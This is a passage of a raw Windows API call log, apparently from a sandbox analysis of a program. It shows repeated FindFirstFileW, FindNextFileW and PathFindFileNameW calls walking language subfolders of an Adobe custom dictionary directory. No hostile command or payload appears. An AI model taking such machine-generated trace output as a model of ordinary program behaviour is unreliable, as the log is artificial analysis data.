dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.722] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.722] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019ce0 | out: hHeap=0x5e0000) returned 1 [0122.722] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.722] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\") returned="dan\\" [0122.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.722] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.722] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.723] PathFindFileNameW (pszPath="") returned="" [0122.723] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019770 | out: hHeap=0x5e0000) returned 1 [0122.723] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.723] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.723] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019ce0 | out: hHeap=0x5e0000) returned 1 [0122.723] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.723] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\") returned="dut\\" [0122.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.724] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.724] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.724] PathFindFileNameW (pszPath="") returned="" [0122.724] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019770 | out: hHeap=0x5e0000) returned 1 [0122.724] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.724] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.724] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019ce0 | out: hHeap=0x5e0000) returned 1 [0122.724] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.724] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\") returned="eng\\" [0122.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.725] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.725] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.725] PathFindFileNameW (pszPath="") returned="" [0122.725] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019770 | out: hHeap=0x5e0000) returned 1 [0122.725] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.725] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.725] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019ce0 | out: hHeap=0x5e0000) returned 1 [0122.726] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.726] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.726] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\") returned="frn\\" [0122.726] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.726] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.726] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.726] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.726] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.726] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.726] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.726] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.726] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.726] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.726] PathFindFileNameW (pszPath="") returned="" [0122.726] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.726] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019770 | out: hHeap=0x5e0000) returned 1 [0122.726] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.727] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.727] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.727] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.727] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019ce0 | out: hHeap=0x5e0000) returned 1 [0122.727] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.727] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.727] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\") returned="grm\\" [0122.727] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.727] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.727] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.727] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.727] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.727] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.727] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.727] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.727] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.727] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.727] PathFindFileNameW (pszPath="") returned="" [0122.727] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.728] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019770 | out: hHeap=0x5e0000) returned 1 [0122.728] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.728] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.728] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.728] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.728] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019ce0 | out: hHeap=0x5e0000) returned 1 [0122.728] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.728] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\") returned="itl\\" [0122.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.729] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.729] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.729] PathFindFileNameW (pszPath="") returned="" [0122.729] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019770 | out: hHeap=0x5e0000) returned 1 [0122.729] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.729] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.729] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019ce0 | out: hHeap=0x5e0000) returned 1 [0122.729] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.729] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\") returned="nrw\\" [0122.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe 